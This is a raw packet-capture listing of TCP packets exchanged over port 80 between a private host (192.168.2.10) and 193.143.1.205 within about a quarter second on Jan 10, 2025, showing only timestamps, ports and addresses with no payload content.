Jan 10, 2025 19:49:43.578052998 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.578085899 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.578094959 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.578119993 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.578152895 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.578161001 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.578187943 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.578221083 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.578223944 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.578257084 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.578290939 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.578298092 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.578326941 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.578377008 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.578748941 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.578875065 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.578912020 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.578918934 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.578970909 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.579005003 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.579010963 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.579040051 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.579072952 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.579090118 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.579109907 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.579143047 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.579152107 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.579176903 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.579212904 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.579219103 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.579777002 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.579811096 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.579821110 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.579849005 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.579881907 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.579895020 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.579916954 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.579950094 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.579957008 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.579987049 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.580029011 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.591737986 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.591773033 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.591808081 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.591839075 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.591842890 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.591877937 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.591892004 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.591914892 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.591953993 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.604979992 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.605079889 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.605114937 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.605143070 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.605148077 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.605184078 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.605190992 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.605216980 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.605251074 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.605256081 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.605284929 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.605318069 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.605324030 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.605353117 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.605407953 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.636589050 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.636645079 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.636678934 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.636701107 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.636713982 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.636749029 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.636756897 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.636781931 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.636821985 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.653460026 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.668101072 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.668153048 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.668200016 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.668203115 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.668236017 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.668268919 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.668282986 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.668302059 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.668335915 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.668342113 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.668368101 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.668401003 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.668406963 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.668435097 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.668468952 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.668473005 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.668502092 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.668536901 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.668540955 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.668652058 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.668698072 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.668700933 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.668735981 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.668781042 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.668791056 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.668826103 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.668875933 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.668879986 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.668945074 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.668973923 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.668987036 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.699497938 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.699521065 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.699722052 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.699819088 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.699862003 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.699883938 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.700578928 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.700598955 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.700612068 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.700623035 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.700634956 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.700635910 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.700647116 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.700658083 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.700658083 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.700670004 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.700681925 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.700690031 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.700694084 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.700706005 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.700707912 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.700716972 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.700726032 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.700728893 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.700740099 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.700752020 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.700757027 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.700766087 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.700783014 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.700787067 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.700803995 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.700824022 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.701010942 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.701024055 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.701041937 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.701052904 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.701061010 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.701067924 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.701081038 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.701087952 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.701092005 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.701103926 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.701114893 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.701114893 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.701126099 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.701139927 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.701143980 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.701152086 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.701158047 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.701164961 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.701179028 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.701190948 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.701194048 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.701205969 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.701219082 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.701225996 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.701251030 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.701884985 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.701899052 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.701921940 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.701932907 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.701932907 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.701946020 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.701957941 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.701957941 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.701986074 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.702047110 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.702059031 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.702069998 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.702080965 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.702085972 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.702095032 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.702105045 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.702106953 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.702120066 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.702131987 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.702131987 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.702143908 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.702156067 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.702168941 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.702169895 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.702193975 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.702213049 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.704687119 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.704711914 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.704725981 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.704732895 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.704740047 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.704752922 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.704766035 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.704781055 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.704797029 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.704818964 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.704829931 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.704840899 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.704840899 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.704863071 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.704874039 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.704885006 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.704886913 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.704900026 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.704905987 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.704912901 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.704926968 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.704937935 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.704982996 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.705281019 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.705292940 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.705301046 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.705307007 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.705332994 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.705333948 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.705344915 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.705358982 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.705369949 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.705375910 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.705384016 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.705395937 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.705399036 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.705409050 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.705418110 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.705436945 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.705841064 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.705853939 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.705868006 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.705878019 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.705878973 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.705905914 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.728905916 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.728960991 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.728962898 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.728996038 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.729031086 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.729043007 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.729065895 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.729100943 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.729105949 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.729135990 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.729165077 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.729176044 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.760474920 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.760510921 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.760525942 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.760566950 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.760618925 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.760620117 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.760669947 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.760704994 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.760720968 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.760737896 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.760775089 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.760788918 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.760823011 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.760858059 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.760873079 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.760890961 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.760929108 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.760930061 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.760962009 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.760994911 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.761003017 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.761028051 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.761069059 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.761073112 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.761097908 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.761135101 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.761137962 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.761169910 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.761203051 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.761220932 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.761236906 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.761270046 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.761277914 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.761379004 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.761415958 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.761425972 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.792361975 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.792413950 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.792422056 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.792468071 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.792512894 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.792524099 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.792558908 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.792607069 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.792608976 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.792649031 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.792678118 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.792701960 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.792726994 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.792769909 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.792778969 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.792808056 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.792849064 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.792856932 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.792890072 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.792936087 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.792938948 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.792989016 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.793018103 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.793031931 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.793055058 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.793087959 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.793095112 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.793149948 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.793185949 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.793199062 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.793231010 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.793323994 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.793381929 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.793415070 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.793448925 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.793456078 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.793497086 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.793531895 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.793545961 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.793581009 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.793618917 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.793622017 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.793668985 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.793719053 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.793739080 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.793747902 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.793781042 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.793783903 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.793814898 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.793848038 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.793857098 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.793881893 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.793915033 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.793925047 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.793952942 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.793986082 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.793991089 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.794019938 CET	80	49727	193.143.1.205	192.168.2.10
